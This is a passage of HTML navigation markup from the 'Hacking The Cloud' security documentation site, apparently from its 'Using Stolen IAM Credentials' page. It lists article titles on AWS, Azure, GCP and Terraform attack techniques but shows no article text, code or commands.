1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Using Stolen IAM Credentials </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-credential-characteristics class=md-nav__link> <span class=md-ellipsis> IAM Credential Characteristics </span> </a> </li> <li class=md-nav__item> <a href=#working-with-the-keys class=md-nav__link> <span class=md-ellipsis> Working with the Keys </span> </a> </li> <li class=md-nav__item> <a href=#determining-validity class=md-nav__link> <span class=md-ellipsis> Determining Validity </span> </a> <nav class=md-nav aria-label="Determining Validity"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#operational-security-considerations class=md-nav__link> <span class=md-ellipsis> Operational Security Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#avoiding-detection class=md-nav__link> <span class=md-ellipsis> Avoiding Detection </span> </a> <nav class=md-nav aria-label="Avoiding Detection"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#guardduty-pentest-findings-and-cli-user-agents class=md-nav__link> <span class=md-ellipsis> GuardDuty Pentest Findings and CLI User Agents </span> </a> </li> <li class=md-nav__item> <a href=#guardduty-credential-exfiltration class=md-nav__link> <span class=md-ellipsis> GuardDuty Credential Exfiltration </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#situational-awareness class=md-nav__link> <span class=md-ellipsis> Situational Awareness </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title 